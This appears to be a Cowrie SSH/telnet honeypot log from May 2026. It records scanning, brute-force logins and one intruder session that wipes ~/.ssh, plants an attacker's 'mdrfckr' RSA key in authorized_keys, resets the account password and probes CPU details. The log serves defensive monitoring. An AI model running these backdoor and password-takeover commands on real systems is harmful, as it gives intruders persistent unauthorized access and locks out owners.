{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:55.559749Z","src_ip":"187.141.71.166","session":"7477e6033e68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:55.680410Z","src_ip":"187.141.71.166","session":"7477e6033e68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4444","message":"login attempt [ubuntu/4444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:56.185568Z","src_ip":"187.141.71.166","session":"7477e6033e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:57.308522Z","src_ip":"187.141.71.166","session":"7477e6033e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.568132400512695,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:57.883252Z","src_ip":"134.209.8.29","session":"b6a1ea6e4343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":54158,"dst_ip":"159.203.135.109","dst_port":22,"session":"a326bd209a23","protocol":"ssh","message":"New connection: 165.22.63.98:54158 (159.203.135.109:22) [session: a326bd209a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:58.390250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:58.395259Z","src_ip":"165.22.63.98","session":"a326bd209a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:58.635575Z","src_ip":"165.22.63.98","session":"a326bd209a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftptest","password":"sftptest123","message":"login attempt [sftptest/sftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:09:59.616497Z","src_ip":"165.22.63.98","session":"a326bd209a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:00.857399Z","src_ip":"165.22.63.98","session":"a326bd209a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":41936,"dst_ip":"10.17.0.5","dst_port":22,"session":"21793988cde1","protocol":"ssh","message":"New connection: 148.216.28.11:41936 (10.17.0.5:22) [session: 21793988cde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.249168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.265519Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.334691Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2018","message":"login attempt [admin/admin2018] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.638411Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.838824Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.844656Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.850817Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:01.939063Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.136745Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.141091Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.227211Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.234137Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":41948,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7c85481abb","protocol":"ssh","message":"New connection: 148.216.28.11:41948 (10.17.0.5:22) [session: 8a7c85481abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.291600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.298475Z","src_ip":"148.216.28.11","session":"8a7c85481abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.381251Z","src_ip":"148.216.28.11","session":"8a7c85481abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34504,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be4069a061f","protocol":"telnet","message":"New connection: 134.209.8.29:34504 (159.203.135.109:23) [session: 5be4069a061f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.594195Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:02.700705Z","src_ip":"148.216.28.11","session":"8a7c85481abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.06655550003052,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:03.645878Z","src_ip":"134.209.8.29","session":"994b99c2fc5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:03.772421Z","src_ip":"148.216.28.11","session":"8a7c85481abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":41964,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ac0308fd8bd","protocol":"ssh","message":"New connection: 148.216.28.11:41964 (10.17.0.5:22) [session: 3ac0308fd8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:03.829845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:03.842286Z","src_ip":"148.216.28.11","session":"3ac0308fd8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:03.916661Z","src_ip":"148.216.28.11","session":"3ac0308fd8bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:04.211759Z","src_ip":"148.216.28.11","session":"3ac0308fd8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.283304Z","src_ip":"148.216.28.11","session":"3ac0308fd8bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.433870Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.437788Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.531054Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.734409Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2018\\nqRNJuiSVci2k\\nqRNJuiSVci2k\"|passwd|bash","message":"CMD: echo -e \"admin2018\\nqRNJuiSVci2k\\nqRNJuiSVci2k\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.739124Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.745676Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.752967Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3b5264505a6caeff27950f0890a2cd1f9426de0c11da20240443051f439b0217","size":32,"shasum":"3b5264505a6caeff27950f0890a2cd1f9426de0c11da20240443051f439b0217","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3b5264505a6caeff27950f0890a2cd1f9426de0c11da20240443051f439b0217 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:05.853798Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.040891Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2018\\nqRNJuiSVci2k\\nqRNJuiSVci2k\\n\"|passwd","message":"CMD: echo \"admin2018\\nqRNJuiSVci2k\\nqRNJuiSVci2k\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.046397Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/085d147e1adf10a98229f598d14e58e7bfaa01d48e3409d3c0901681c5676733","size":25,"shasum":"085d147e1adf10a98229f598d14e58e7bfaa01d48e3409d3c0901681c5676733","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/085d147e1adf10a98229f598d14e58e7bfaa01d48e3409d3c0901681c5676733 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.134008Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.396381Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.401093Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:10:06.477388Z","src_ip":"148.216.28.11","session":"21793988cde1","protocol":"ssh"}
